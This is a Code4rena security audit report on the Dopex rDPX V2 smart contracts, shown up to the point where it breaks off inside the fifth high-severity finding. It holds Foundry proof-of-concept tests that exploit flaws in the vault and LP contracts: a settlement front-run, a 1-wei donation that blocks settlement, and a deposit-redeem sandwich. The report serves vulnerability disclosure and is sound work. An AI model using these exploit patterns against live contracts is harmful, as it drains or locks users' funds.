Overview

About C4

Code4rena (C4) is an open organization consisting of security researchers, auditors, developers, and individuals with domain expertise in smart contracts.

A C4 audit is an event in which community participants, referred to as Wardens, review, audit, or analyze smart contract logic in exchange for a bounty provided by sponsoring projects.

During the audit outlined in this document, C4 conducted an analysis of the Dopex smart contract system written in Solidity. The audit took place between August 21—September 6 2023.

Wardens

203 Wardens contributed reports to Dopex:

1. said
2. peakbolt
3. Toshii
4. __141345__
5. LokiThe5th
6. Evo
7. deadrxsezzz
8. volodya
9. rvierdiiev
10. 0xnev
11. pep7siup
12. juancito
13. kutugu
14. QiuhaoLi
15. Yanchuan
16. catellatech
17. glcanvas
18. nirlin
19. T1MOH
20. c3phas
21. RED-LOTUS-REACH (BlockChomper, DedOhWale, reentrant, and escrow)
22. HChang26
23. ladboy233
24. 0xDING99YA
25. dirk_y
26. 0xSmartContract
27. HHK
28. gjaldon
29. 0Kage
30. Tendency
31. Brenzee
32. Nikki
33. mahdikarimi
34. LowK
35. 0xMango
36. tapir
37. Inspecktor
38. ABA
39. zzebra83
40. ak1
41. ItsNio
42. carrotsmuggler
43. bart1e
44. 0x3b
45. wintermute
46. lsaudit
47. bin2chen
48. qpzm
49. josephdara
50. sces60107
51. 0xvj
52. Udsen
53. rokinot
54. jasonxiale
55. chaduke
56. 0xCiphky
57. ubermensch
58. Aymen0909
59. kodyvim
60. hals
61. crunch
62. circlelooper
63. Jiamin
64. Juntao
65. eeshenggoh
66. Sathish9098
67. Inspex (DeStinE21, ErbaZZ, Resistor, Rugsurely, doggo, jokopoppo, mimic_f, and rxnnxchxi)
68. gkrastenov
69. Nyx
70. 0xWaitress
71. wallstreetvilkas
72. Bauchibred
73. Matin
74. niki
75. flacko
76. KrisApostolov
77. 0xTiwa
78. ArmedGoose
79. oakcobalt
80. pontifex
81. 0xgrbr
82. LeoS
83. Viktor_Cortess
84. nemveer
85. 836541
86. minhtrng
87. visualbits
88. Qeew
89. 0xPsuedoPandit
90. 0xmystery
91. umarkhatab_465
92. Cosine
93. Topmark
94. SBSecurity (Slavcheww and Blckhv)
95. 0xmuxyz
96. ciphermarco
97. mark0v
98. bitsurfer
99. hunter_w3b
100. rjs
101. K42
102. MohammedRizwan
103. degensec
104. erebus
105. mert_eren
106. zaevlad
107. 0xWagmi
108. ether_sky
109. ravikiranweb3
110. GangsOfBrahmin (Satyam_Sharma and 0xweb3boy)
111. vangrim
112. Hama
113. okolicodes
114. ginlee
115. WoolCentaur
116. IceBear
117. ayden
118. 0xkazim
119. AkshaySrivastav
120. KmanOfficial
121. codegpt
122. savi0ur
123. peanuts
124. piyushshukla
125. catwhiskeys
126. mitko1111
127. 0xTheC0der
128. asui
129. dethera
130. klau5
131. parsely
132. minhquanym
133. nobody2018
134. max10afternoon
135. lanrebayode77
136. Neon2835
137. Kow
138. 0xbranded
139. SpicyMeatball
140. joaovwfreire
141. alexfilippov314
142. 0xHelium
143. ABAIKUNANBAEV
144. Vagner
145. etherhood
146. qbs
147. alexzoid
148. mrudenko
149. tnquanghuy0512
150. 0xrafaelnicolau
151. Krace
152. koo
153. _eperezok
154. ElCid
155. yashar
156. 0xc0ffEE
157. Baki (Viraz and supernova)
158. chainsnake
159. dimulski
160. 0xMosh
161. halden
162. mussucal
163. gizzy
164. MiniGlome
165. Talfao
166. gumgumzum
167. Jorgect
168. LFGSecurity (0xfusion and georgits)
169. grearlake
170. 0x111
171. atrixs6
172. Mike_Bello90
173. Anirruth
174. clash
175. ge6a
176. Blockian
177. DanielArmstrong
178. pks_
179. 0xklh
180. blutorque
181. Snow24
182. BugzyVonBuggernaut
183. ke1caM
184. Norah
185. auditsea
186. spidy730
187. sl1
188. 0xsurena
189. sh1v

This audit was judged by Alex the Entreprenerd.

Final report assembled by PaperParachute.

Summary

The C4 analysis yielded an aggregated total of 26 unique vulnerabilities. Of these vulnerabilities, 9 received a risk rating in the category of HIGH severity and 17 received a risk rating in the category of MEDIUM severity.

Additionally, C4 analysis included 52 reports detailing issues with a risk rating of LOW severity or non-critical. There were also 10 reports recommending gas optimizations.

All of the issues presented here are linked back to their original finding.

Scope

The code under review can be found within the C4 Dopex repository, and is composed of 9 smart contracts written in the Solidity programming language and includes 2264 lines of Solidity code.

In addition to the known issues identified by the project team, a Code4rena bot race was conducted at the start of the audit. The winning bot, IllIllI-bot from warden IllIllI, generated the Automated Findings report and all findings therein were classified as out of scope.

Severity Criteria

C4 assesses the severity of disclosed vulnerabilities based on three primary risk categories: high, medium, and low/non-critical.

High-level considerations for vulnerabilities span the following key areas when conducting assessments:

• Malicious Input Handling
• Escalation of privileges
• Arithmetic
• Gas use

For more information regarding the severity criteria referenced throughout the submission review process, please refer to the documentation provided on the C4 website, specifically our section on Severity Categorization.

High Risk Findings (9)

[H-01] Improper precision of strike price calculation can result in broken protocol

Submitted by Toshii, also found by Matin, Qeew, visualbits, crunch, circlelooper, qpzm, Jiamin, pep7siup, Juntao, 0xmystery, eeshenggoh, lsaudit (1, 2), peakbolt, 0xDING99YA, Cosine, Topmark, 0x3b, deadrxsezzz, piyushshukla, and catwhiskeys

https://github.com/code-423n4/2023-08-dopex/blob/main/contracts/core/RdpxV2Core.sol#L1189-L1190

https://github.com/code-423n4/2023-08-dopex/blob/main/contracts/perp-vault/PerpetualAtlanticVault.sol#L576-L583

Due to a lack of adequate precision, the calculated strike price for a PUT option for rDPX is not guaranteed to be 25% OTM, which breaks core assumptions around (1) protecting downside price movement of the rDPX which makes up part of the collateral for dpxETH & (2) not overpaying for PUT option protection.

More specifically, the price of rDPX as used in the calculateBondCost function of the RdpxV2Core contract is represented as ETH / rDPX, and is given in 8 decimals of precision. To calculate the strike price which is 25% OTM based on the current price, the logic calls the roundUp function on what is effectively 75% of the current spot rDPX price. The issue is with the roundUp function of the PerpetualAtlanticVault contract, which effectively imposes a minimum value of 1e6.

Considering approximate recent market prices of $2000/ETH and $20/rDPX, the current price of rDPX in 8 decimals of precision would be exactly 1e6. Then to calculate the 25% OTM strike price, we would arrive at a strike price of 1e6 * 0.75 = 75e4. The roundUp function will then round up this value to 1e6 as the strike price, and issue the PUT option using that invalid strike price. Obviously this strike price is not 25% OTM, and since its an ITM option, the premium imposed will be significantly higher. Additionally this does not match the implementation as outlined in the docs.

Proof of Concept

When a user calls the bond function of the RdpxV2Core contract, it will calculate the rdpxRequired and wethRequired required by the user in order to mint a specific _amount of dpxETH, which is calculated using the calculateBondCost function:

function bond(
  uint256 _amount,
  uint256 rdpxBondId,
  address _to
) public returns (uint256 receiptTokenAmount) {
  _whenNotPaused();
  // Validate amount
  _validate(_amount > 0, 4);

  // Compute the bond cost
  (uint256 rdpxRequired, uint256 wethRequired) = calculateBondCost(
    _amount,
    rdpxBondId
  );
  ...
}

Along with the collateral requirements, the wethRequired will also include the ETH premium required to mint the PUT option. The amount of premium is calculated based on a strike price which represents 75% of the current price of rDPX (25% OTM PUT option). In the calculateBondCost function:

function calculateBondCost(
  uint256 _amount,
  uint256 _rdpxBondId
) public view returns (uint256 rdpxRequired, uint256 wethRequired) {
  uint256 rdpxPrice = getRdpxPrice();

  ...

  uint256 strike = IPerpetualAtlanticVault(addresses.perpetualAtlanticVault)
    .roundUp(rdpxPrice - (rdpxPrice / 4)); // 25% below the current price

  uint256 timeToExpiry = IPerpetualAtlanticVault(
    addresses.perpetualAtlanticVault
  ).nextFundingPaymentTimestamp() - block.timestamp;
  if (putOptionsRequired) {
    wethRequired += IPerpetualAtlanticVault(addresses.perpetualAtlanticVault)
      .calculatePremium(strike, rdpxRequired, timeToExpiry, 0);
  }
}

As shown, the strike price is calculated as:

uint256 strike = IPerpetualAtlanticVault(addresses.perpetualAtlanticVault).roundUp(rdpxPrice - (rdpxPrice / 4));

It uses the roundUp function of the PerpetualAtlanticVault contract which is defined as follows:

function roundUp(uint256 _strike) public view returns (uint256 strike) {
  uint256 remainder = _strike % roundingPrecision;
  if (remainder == 0) {
    return _strike;
  } else {
    return _strike - remainder + roundingPrecision;
  }
}

In this contract roundingPrecision is set to 1e6, and this is where the problem arises. As I mentioned earlier, take the following approximate market prices: $2000/ETH and $20/rDPX. This means the rdpxPrice, which is represented as ETH/rDPX in 8 decimals of precision, will be 1e6. To calculate the strike price, we get the following: 1e6 * 0.75 = 75e4. However this value is fed into the roundUp function which will convert the 75e4 to 1e6. This value of 1e6 is then used to calculate the premium, which is completely wrong. Not only is 1e6 not 25% OTM, but it is actually ITM, meaning the premium will be significantly higher than was intended by the protocol design.

Recommended Mitigation Steps

The value of the roundingPrecision is too high considering reasonable market prices of ETH and rDPX. Consider decreasing it.

psytama (Dopex) confirmed

[H-02] Put settlement can be anticipated and lead to user losses and bonding DoS

Submitted by LokiThe5th, also found by __141345__, peakbolt, rvierdiiev, Nikki, mahdikarimi, and wintermute

https://github.com/code-423n4/2023-08-dopex/blob/eb4d4a201b3a75dd4bddc74a34e9c42c71d0d12f/contracts/perp-vault/PerpetualAtlanticVault.sol#L278-L281

https://github.com/code-423n4/2023-08-dopex/blob/eb4d4a201b3a75dd4bddc74a34e9c42c71d0d12f/contracts/perp-vault/PerpetualAtlanticVaultLP.sol#L118-L135

https://github.com/code-423n4/2023-08-dopex/blob/eb4d4a201b3a75dd4bddc74a34e9c42c71d0d12f/contracts/perp-vault/PerpetualAtlanticVaultLP.sol#L145-L175

The liquidity providers deposit WETH into the PerpetualAtlanticVaultLP which in turn provides the required collateral for put options writing. Writing puts locks collateral and to write more puts excess collateral is needed. Once a put is in the money it can be exercised by the RdpxCoreV2 contract, which forces the liquidity providers to take on rdpx at above market prices (i.e. they take a loss).

The issue is that liquidity providers to the PerpetualAtlanticVaultLP can anticipate when they might take losses. Users may then take the precautionary action to avoid losses by exiting the LP prior to put settlements. By doing this, the users who are not as fast, or as technically sophisticated, are forced to take on more losses (as losses are then spread among less LPs).

Importantly, this is not dependent on MEV and will also happen on chains where MEV is not possible.

This issue has two root causes:

1. The price-threshold for settlement is known
2. PerpetualAtlanticVaultLP allows redemptions at any time as long as there is excess collateral available

This has a second order effect: by having the ability to anticipate when settlements will happen, if any puts are in the money, there is likely to be redemptions from the PerpetualAtlanticVaultLP which will drain all the available collateral. If all the available collateral is drained from the vault, then other users will not be able to bond using the RdpxV2Core contracts, as calls to purchase will revert due to insufficient collateral in the put options vault.

The issue has been classified as high for the following reasons:

1. The depositors who are either too slow, or are not as technically sophisticated, are forced to take more of the losses related to settlement of put options (as losses are spread among less participants).
2. The token economic incentive is to anticipate calls to settle and avoid taking losses, and deposit again thereafter. This will create market-related periods of insufficient collateral, leading to regular (albeit temporary) DoS of the bonding mechanism which can impact the ETH peg of the DpxEthToken (not to mention the poor optics for the project).

Proof of Concept

As the price-threshold for settlement is known, depositors into the PerpetualAtlanticVaultLP have a few options to avoid this loss:

1. Users can simply monitor the rdpxPriceInEth and, once the price is close to the strike price, remove their liquidity through redeem(). They can then deposit after settlement to take up a greater number of shares.
2. Users can monitor the mempool (may be an issue in later versions of Arbitrum or other chains) for calls to PerpetualAtlanticVault::settle() and front-run this with a call to redeem to avoid losses.
3. As settle() is a manual call from the Dopex multisig, this may take the form of a weekly process. Users may come to anticipate this and pull the available assets from the LP at those regular intervals.

Regardless of the method, the end result is the same.

The below coded PoC demonstrates the issue. One of the users, Bob (address(1)), anticipates a call to settle() - either through front-running or a market-related decision. Bob then enters and exits the pool right before and after the settle call. Dave (address(2)), who is another liquidity provider, does not anticipate the settle() call. We note the differences in PnL this creates in the console output.

Note: The PoC was created using the perp-vault/Integration.t.sol file, and should be placed in the tests/perp-vault directory in a .sol file. The PoC can then be run with forge test --match-test testPoCHigh3 -vvv

Apologies for the extended setup code at the start, this is needed for an accurate test, the PoC start point is marked clearly.

// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.19;

import { Test } from "forge-std/Test.sol";
import "forge-std/console.sol";

import { ERC721Holder } from "@openzeppelin/contracts/token/ERC721/utils/ERC721Holder.sol";
import { Setup } from "./Setup.t.sol";
import { PerpetualAtlanticVault } from "contracts/perp-vault/PerpetualAtlanticVault.sol";

contract PoC is ERC721Holder, Setup {
  // ================================ HELPERS ================================ //
  function mintWeth(uint256 _amount, address _to) public {
    weth.mint(_to, _amount);
  }

  function mintRdpx(uint256 _amount, address _to) public {
    rdpx.mint(_to, _amount);
  }

  function deposit(uint256 _amount, address _from) public {
    vm.startPrank(_from, _from);
    vaultLp.deposit(_amount, _from);
    vm.stopPrank();
  }

  function purchase(uint256 _amount, address _as) public returns (uint256 id) {
    vm.startPrank(_as, _as);
    (, id) = vault.purchase(_amount, _as);
    vm.stopPrank();
  }

  function setApprovals(address _as) public {
    vm.startPrank(_as, _as);
    rdpx.approve(address(vault), type(uint256).max);
    rdpx.approve(address(vaultLp), type(uint256).max);
    weth.approve(address(vault), type(uint256).max);
    weth.approve(address(vaultLp), type(uint256).max);
    vm.stopPrank();
  }

  // ================================ CORE ================================ //

  /**
  Assumptions & config:
    - address(this) is impersonating the rdpxV2Core contract
    - premium per option: 0.05 weth
    - epoch duration: 1 day; 86400 seconds
    - initial price of rdpx: 0.2 weth
    - pricing precision is in 0.1 gwei
    - premium precision is in 0.1 gwei
    - rdpx and weth denomination in wei
  **/

  function testPoCHigh3() external {
    // Setup starts here ----------------------------->
    setApprovals(address(1));
    setApprovals(address(2));
    setApprovals(address(3));

    mintWeth(5 ether, address(1));
    mintWeth(5 ether, address(2));
    mintWeth(25 ether, address(3));

    /// The users deposit
    deposit(5 ether, address(1));
    deposit(5 ether, address(2));
    deposit(25 ether, address(3));

    uint256 userBalance = vaultLp.balanceOf(address(1));
    assertEq(userBalance, 5 ether);
    userBalance = vaultLp.balanceOf(address(2));
    assertEq(userBalance, 5 ether);
    userBalance = vaultLp.balanceOf(address(3));
    assertEq(userBalance, 25 ether);

    // premium = 100 * 0.05 weth = 5 weth
    uint256 tokenId = purchase(100 ether, address(this)); // 0.015 gwei * 100 ether / 0.1 gwei = 15 ether collateral activated

    skip(86500); // expires epoch 1
    vault.updateFunding();
    vault.updateFundingPaymentPointer();
    uint256[] memory strikes = new uint256[](1);
    strikes[0] = 0.015 gwei;
    uint256 fundingAccrued = vault.calculateFunding(strikes);
    assertEq(fundingAccrued, 5 ether);
    uint256[] memory tokenIds = new uint256[](1);
    tokenIds[0] = tokenId;

    /// ---------------- POC STARTS HERE ---------------------------------------------------///
    // At this point the Core contract has purchased options to sell 100 rdpx tokens

    // The market moves against `rdpx` and the puts are now in the money
    priceOracle.updateRdpxPrice(0.010 gwei);

    // Bob, a savvy user, sees there is collateral available to withdraw, and
    // because he monitors the price he knows the vault is about to take a loss
    // thus, he withdraws his capital, expecting a call to settle.
    userBalance = vaultLp.balanceOf(address(1));
    vm.startPrank(address(1));
    vaultLp.redeem(userBalance, address(1), address(1));
    vm.stopPrank();

    vm.startPrank(address(this), address(this));
    (uint256 ethAmount, uint256 rdpxAmount) = vault.settle(tokenIds);
    vm.stopPrank();

    // Bob now re-enters the LP Vault
    vm.startPrank(address(1));
    vaultLp.deposit(weth.balanceOf(address(1)), address(1));
    vm.stopPrank();

    // Now we tally up the scores
    console.log("User Bob ends with (WETH, RDPX, Shares):");
    userBalance = vaultLp.balanceOf(address(1));
    (uint256 aBob, uint256 bBob) = vaultLp.redeemPreview(userBalance);
    console.log(aBob, bBob, userBalance);
    userBalance = vaultLp.balanceOf(address(2));
    (uint256 aDave, uint256 bDave) = vaultLp.redeemPreview(userBalance);
    console.log("User Dave ends with (WETH, RDPX, Shares):");
    console.log(aDave, bDave, userBalance);

    /** 
        Bob and Dave both started with 5 ether deposited into the vault LP.
        Bob ends up with shares worth 4.08 WETH + 16.32 RDPX
        Dave ends up with shares worth 3.48 WETH + 13.94 RDPX
        Thus we can conclude that by anticipating calls to `settle`, 
        either by monitoring the market or through front-running,
        Bob has forced Dave to take on more of the losses.
    */
  }
}

The result is that even though Bob and Dave both started with 5 WETH deposited, by anticipating the call to settle(), Bob was able to force Dave to take more of the losses while Bob was able to reenter and gain more shares than he started with. He has twisted the knife, so to speak.

Importantly, because the economic incentive is to exit and enter the pool in this way, it is likely to create a race condition where all the available collateral becomes withdrawn the moment the puts are in the money, meaning no user can bond (as options purchasing will revert due to this check). This leads to temporary DoS of the bonding mechanism, until either the team takes direct action (setting putsRequired to false) or new deposits come back into the vault

Tools Used

Foundry.

Recommended Mitigation Steps

One option would be to rework the deposits to allow a “cooling off period” after deposits, meaning that assets can’t be withdrawn until a set date in the future.

Another option would be to mint more shares to the vault itself in response to calls to settle() which accrue to users. These shares can then be distributed to the users as they redeem based on their time in the vault (in effect rewarding the hodlers).

This is not a trivial change, as it will impact the token economics of the project.

psytama (Dopex) confirmed

Alex the Entreprenerd (Judge) commented:

I’m understanding that LPs are able to indeed able to redeem up to totalAvailableCollateral.

For this reason, I agree with the validity of the finding.

Conflicted on severity as total loss is capped, however, am thinking High is correct because new depositors are effectively guaranteed a loss, and there seems to be no rational way to avoid this scenario.

[H-03] The settle feature will be broken if attacker arbitrarily transfer collateral tokens to the PerpetualAtlanticVaultLP

Submitted by klau5, also found by KrisApostolov, Toshii, 0xc0ffEE, codegpt, clash, ge6a, QiuhaoLi, parsely, Tendency, wintermute, bin2chen, Blockian, __141345__, Evo, 0xbranded, visualbits, Udsen, 0xvj, nirlin, ak1, jasonxiale, pontifex, Aymen0909, DanielArmstrong, AkshaySrivastav, savi0ur, RED-LOTUS-REACH, crunch, sces60107, pks_, Mike_Bello90 (1, 2), tnquanghuy0512, circlelooper, ubermensch, asui, oakcobalt, bart1e, Anirruth (1, 2), 0xklh, blutorque, Baki, Snow24, Yanchuan, Jiamin, SBSecurity, kutugu, LokiThe5th, Juntao, nobody2018, juancito, carrotsmuggler, ladboy233, mert_eren, BugzyVonBuggernaut, GangsOfBrahmin, said, rokinot, ayden, 0xDING99YA, lanrebayode77, peakbolt, chainsnake, T1MOH, Inspex, gjaldon, SpicyMeatball, LFGSecurity, ke1caM, Norah, auditsea, dirk_y, max10afternoon, tapir, spidy730, HChang26, grearlake, 0xCiphky, chaduke, volodya, sl1, 0x3b, Nyx, kodyvim, ravikiranweb3, ABA, 0xWaitress, 0xsurena, rvierdiiev, degensec, Kow, Krace, mahdikarimi, and sh1v

https://github.com/code-423n4/2023-08-dopex/blob/eb4d4a201b3a75dd4bddc74a34e9c42c71d0d12f/contracts/perp-vault/PerpetualAtlanticVaultLP.sol#L199-L205

https://github.com/code-423n4/2023-08-dopex/blob/eb4d4a201b3a75dd4bddc74a34e9c42c71d0d12f/contracts/perp-vault/PerpetualAtlanticVault.sol#L359-L361

https://github.com/code-423n4/2023-08-dopex/blob/eb4d4a201b3a75dd4bddc74a34e9c42c71d0d12f/contracts/core/RdpxV2Core.sol#L772-L774

RdpxV2Core.settle reverts and the protocol stops.

Proof of Concept

If a collateral token(WETH) is arbitrarily sent to PerpetualAtlanticVaultLP, the values of collateral.balanceOf(address(this)) and _totalCollateral will be different.

Since PerpetualAtlanticVaultLP.subtractLoss requires that collateral.balanceOf(address(this)) exactly match with _totalCollateral - loss, PerpetualAtlanticVaultLP.subtractLoss will be failed if an attacker arbitrarily transfers collateral tokens to the PerpetualAtlanticVaultLP contract.

function subtractLoss(uint256 loss) public onlyPerpVault {
  require(
    collateral.balanceOf(address(this)) == _totalCollateral - loss,
    "Not enough collateral was sent out"
  );
  _totalCollateral -= loss;
}

https://github.com/code-423n4/2023-08-dopex/blob/eb4d4a201b3a75dd4bddc74a34e9c42c71d0d12f/contracts/perp-vault/PerpetualAtlanticVaultLP.sol#L199-L205

Since there is no function that synchronizes _totalCollateral with collateral.balanceOf(address(this)) without moving tokens, even admin cannot fix.

This is exploit PoC. Add this test case at tests/perp-vault/Unit.t.sol

function testSettlePoC() public {
  weth.mint(address(1), 1 ether);
  weth.mint(address(777), 1 ether); // give some tokens to attacker

  deposit(1 ether, address(1));

  vault.purchase(1 ether, address(this));

  uint256[] memory ids = new uint256[](1);
  ids[0] = 0;

  skip(86500); // expire

  priceOracle.updateRdpxPrice(0.010 gwei); // ITM
  uint256 wethBalanceBefore = weth.balanceOf(address(this));
  uint256 rdpxBalanceBefore = rdpx.balanceOf(address(this));

  // attack
  vm.startPrank(address(777), address(777));
  weth.transfer(address(vaultLp), 1); // send 1 wei of collateral
  vm.stopPrank();

  vm.expectRevert("Not enough collateral was sent out");
  vault.settle(ids);
}

Recommended Mitigation Steps

Use >= instead of == at PerpetualAtlanticVaultLP.subtractLoss

function subtractLoss(uint256 loss) public onlyPerpVault {
  require(
-   collateral.balanceOf(address(this)) == _totalCollateral - loss,
+   collateral.balanceOf(address(this)) >= _totalCollateral - loss,
    "Not enough collateral was sent out"
  );
  _totalCollateral -= loss;
}

psytama (Dopex) confirmed via duplicate issue 619

[H-04] UniV3LiquidityAMO::recoverERC721 will cause ERC721 tokens to be permanently locked in rdpxV2Core

Submitted by bart1e, also found by rokinot, gkrastenov, HHK, bin2chen, jasonxiale, Aymen0909, josephdara, pep7siup, peakbolt, Inspex, kodyvim, tapir, 0x3b, 0xCiphky, rvierdiiev, and chaduke

https://github.com/code-423n4/2023-08-dopex/blob/eb4d4a201b3a75dd4bddc74a34e9c42c71d0d12f/contracts/amo/UniV3LiquidityAmo.sol#L324-L334

https://github.com/code-423n4/2023-08-dopex/blob/eb4d4a201b3a75dd4bddc74a34e9c42c71d0d12f/contracts/core/RdpxV2Core.sol#L1-L1308

UniV3LiquidityAMO::recoverERC721 is a function created in order to be able to recover ERC721 tokens from the UniV3LiquidityAMO contract. It can only be called by admin and will transfer all ERC721 tokens to the RdpxV2Core contract. The problem is, that it won’t be possible to do anything with these tokens after they are transferred to rdpxV2Core.

Indeed, RdpxV2Core inherits from the following contracts:

• AccessControl,
• ContractWhitelist,
• ERC721Holder,
• Pausable

and no contract from this list implement any logic allowing the NFT transfer (only ERC721Holder has something to do with NFTs, but it only allows to receive them, not to approve or transfer).

Moreover, rdpxV2Core also doesn’t have any logic allowing transfer or approval of NFTs:

• there is no generic execute function there
• no function implemented is related to ERC721 tokens (except for onERC721Received inherited from ERC721Holder)
• it may seem possible to do a dirty hack and try to use approveContractToSpend in order to approve ERC721 token. Theoretically, one would have to specify ERC721 tokenId instead of ERC20 token amount, so that IERC20WithBurn(_token).approve(_spender, _amount); in fact approves ERC721 token with tokenId == _amount, but it fails with [FAIL. Reason: EvmError: Revert] and even if it didn’t, it still wouldn’t be possible to transfer ERC721 token with tokenId == 0 since there is _validate(_amount > 0, 17); inside approveContractToSpend

Impact

UniV3LiquidityAMO::recoverERC721 instead of recovering ERC721, locks all tokens in rdpxV2Core and it won’t be possible to recover them from that contract.

Any use of recoverERC721 will imply an irrecoverable loss for the protocol and this function was implemented in order to be used at some point after all (even if only on emergency situations). Because of that, I’m submitting this issue as High.

Proof of Concept

This PoC only shows that ERC721 token recovery will not be possible by calling RdpxV2Core::approveContractToSpend. Lack of functions doing transfer or approve or any other ERC721 related functions in RdpxV2Core may just be observed by looking at the contract’s code.

Please create the MockERC721.sol file in mocks directory and with the following code:

pragma solidity ^0.8.19;

import "@openzeppelin/contracts/token/ERC721/ERC721.sol";

contract MockERC721 is ERC721
{
    constructor() ERC721("...", "...")
    {

    }

    function giveNFT() public
    {
        _mint(msg.sender, 1);
    }
}

It will just mint an ERC721 token with tokenId = 1. Please also run the following test:

  function testNFT() public
  {
    // needed `import "../../contracts/mocks/MockERC721.sol";` at the beginning of the file

    MockERC721 mockERC721 = new MockERC721();
    mockERC721.giveNFT();
    mockERC721.transferFrom(address(this), address(rdpxV2Core), 1);
    
    // approveContractToSpend won't be possible to use
    vm.expectRevert();
    rdpxV2Core.approveContractToSpend(address(mockERC721), address(this), 1);
  }

Tools Used

VS Code

Recommended Mitigation Steps

Either implement additional ERC721 recovery function in RdpxV2Core or change UniV3LiquidityAMO::recoverERC721 so that it transfers all NFTs to msg.sender instead of RdpxV2Core contract.

psytama (Dopex) confirmed and commented:

Change recover ERC721 function in uni v3 AMO.

Alex the Entreprenerd (Judge) commented:

The Warden has shown an incorrect hardcoded address in the recoverERC721 if used it would cause an irrevocable loss of funds

Technically speaking the Sponsor could use execute as a replacement, however the default function causes a loss so I’m inclined to agree with High Severity

[H-05] Users can get immediate profit when deposit and redeem in PerpetualAtlanticVaultLP

Submitted by said, also found by 0xkazim, glcanvas (1, 2), Toshii, KrisApostolov, HHK, Tendency, Evo, bin2chen, bart1e, peakbolt (1, 2, 3), AkshaySrivastav (1, 2), 0Kage, sces60107, qpzm, ubermensch, mahdikarimi, 836541 (1, 2), Neon2835, nobody2018, carrotsmuggler, lanrebayode77, tapir, volodya, gjaldon, 0xCiphky (1, 2), HChang26, max10afternoon, rvierdiiev (1, 2), chaduke, QiuhaoLi, etherhood, and josephdara

Due to wrong order between previewDeposit and updateFunding inside PerpetualAtlanticVaultLP.deposit. In some case, user can get immediate profit when call deposit and redeem in the same block.

Proof of Concept

When deposit is called, first previewDeposit will be called to get the shares based on assets provided.

https://github.com/code-423n4/2023-08-dopex/blob/main/contracts/perp-vault/PerpetualAtlanticVaultLP.sol#L118-L135

  function deposit(
    uint256 assets,
    address receiver
  ) public virtual returns (uint256 shares) {
    // Check for rounding error since we round down in previewDeposit.
>>> require((shares = previewDeposit(assets)) != 0, "ZERO_SHARES");

>>> perpetualAtlanticVault.updateFunding();

    // Need to transfer before minting or ERC777s could reenter.
    collateral.transferFrom(msg.sender, address(this), assets);

    _mint(receiver, shares);

    _totalCollateral += assets;

    emit Deposit(msg.sender, receiver, assets, shares);
  }

Inside previewDeposit, it will call convertToShares to calculate the shares.

https://github.com/code-423n4/2023-08-dopex/blob/main/contracts/perp-vault/PerpetualAtlanticVaultLP.sol#L269-L271

  function previewDeposit(uint256 assets) public view returns (uint256) {
    return convertToShares(assets);
  }

convertToShares calculate shares based on the provided assets, supply and totalVaultCollateral. _totalCollateral is also part of totalVaultCollateral that will be used inside the calculation.

https://github.com/code-423n4/2023-08-dopex/blob/main/contracts/perp-vault/PerpetualAtlanticVaultLP.sol#L274-L284

  function convertToShares(
    uint256 assets
  ) public view returns (uint256 shares) {
    uint256 supply = totalSupply;
    uint256 rdpxPriceInAlphaToken = perpetualAtlanticVault.getUnderlyingPrice();

    uint256 totalVaultCollateral = totalCollateral() +
      ((_rdpxCollateral * rdpxPriceInAlphaToken) / 1e8);
    return
      supply == 0 ? assets : assets.mulDivDown(supply, totalVaultCollateral);
  }

After the shares calculation, perpetualAtlanticVault.updateFunding will be called, this function will send collateral to vault LP if conditions are met and increase _totalCollateral.

https://github.com/code-423n4/2023-08-dopex/blob/main/contracts/perp-vault/PerpetualAtlanticVault.sol#L502-L524

  function updateFunding() public {
    updateFundingPaymentPointer();
    uint256 currentFundingRate = fundingRates[latestFundingPaymentPointer];
    uint256 startTime = lastUpdateTime == 0
      ? (nextFundingPaymentTimestamp() - fundingDuration)
      : lastUpdateTime;
    lastUpdateTime = block.timestamp;

>>> collateralToken.safeTransfer(
      addresses.perpetualAtlanticVaultLP,
      (currentFundingRate * (block.timestamp - startTime)) / 1e18
    );

>>> IPerpetualAtlanticVaultLP(addresses.perpetualAtlanticVaultLP).addProceeds(
      (currentFundingRate * (block.timestamp - startTime)) / 1e18
    );

    emit FundingPaid(
      msg.sender,
      ((currentFundingRate * (block.timestamp - startTime)) / 1e18),
      latestFundingPaymentPointer
    );
  }

It means if _totalCollateral is increased, user can get immediate profit when they call redeem.

https://github.com/code-423n4/2023-08-dopex/blob/main/contracts/perp-vault/PerpetualAtlanticVaultLP.sol#L145-L175

  function redeem(
    uint256 shares,
    address receiver,
    address owner
  ) public returns (uint256 assets, uint256 rdpxAmount) {
    perpetualAtlanticVault.updateFunding();

    if (msg.sender != owner) {
      uint256 allowed = allowance[owner][msg.sender]; // Saves gas for limited approvals.

      if (allowed != type(uint256).max) {
        allowance[owner][msg.sender] = allowed - shares;
      }
    }
>>> (assets, rdpxAmount) = redeemPreview(shares);

    // Check for rounding error since we round down in previewRedeem.
    require(assets != 0, "ZERO_ASSETS");

    _rdpxCollateral -= rdpxAmount;

    beforeWithdraw(assets, shares);

    _burn(owner, shares);

    collateral.transfer(receiver, assets);

    IERC20WithBurn(rdpx).safeTransfer(receiver, rdpxAmount);

    emit Withdraw(msg.sender, receiver, owner, assets, shares);
  }

When redeemPreview is called and trigger _convertToAssets, it will used this newly increased _totalCollateral.

https://github.com/code-423n4/2023-08-dopex/blob/main/contracts/perp-vault/PerpetualAtlanticVaultLP.sol#L218-L229

  function _convertToAssets(
    uint256 shares
  ) internal view virtual returns (uint256 assets, uint256 rdpxAmount) {
    uint256 supply = totalSupply;
    return
      (supply == 0)
        ? (shares, 0)
        : (
>>>       shares.mulDivDown(totalCollateral(), supply),
          shares.mulDivDown(_rdpxCollateral, supply)
        );
  }

This will open sandwich and MEV attack opportunity inside vault LP.

Foundry PoC :

Add this test to Unit contract inside /tests/rdpxV2-core/Unit.t.sol, also add import "forge-std/console.sol"; in the contract :

    function testSandwichProvideFunding() public {
        rdpxV2Core.bond(20 * 1e18, 0, address(this));
        rdpxV2Core.bond(20 * 1e18, 0, address(this));
        skip(86400 * 7);
        vault.addToContractWhitelist(address(rdpxV2Core));
        vault.updateFundingPaymentPointer();

        // test funding succesfully
        uint256[] memory strikes = new uint256[](1);
        strikes[0] = 15e6;
        // calculate funding is done properly
        vault.calculateFunding(strikes);

        uint256 funding = vault.totalFundingForEpoch(
            vault.latestFundingPaymentPointer()
        );

        // send funding to rdpxV2Core and call sync
        weth.transfer(address(rdpxV2Core), funding);
        rdpxV2Core.sync();
        rdpxV2Core.provideFunding();
        skip(86400 * 6);
        uint256 balanceBefore = weth.balanceOf(address(this));
        console.log("balance of eth before deposit and redeem:");
        console.log(balanceBefore);
        weth.approve(address(vaultLp), type(uint256).max);
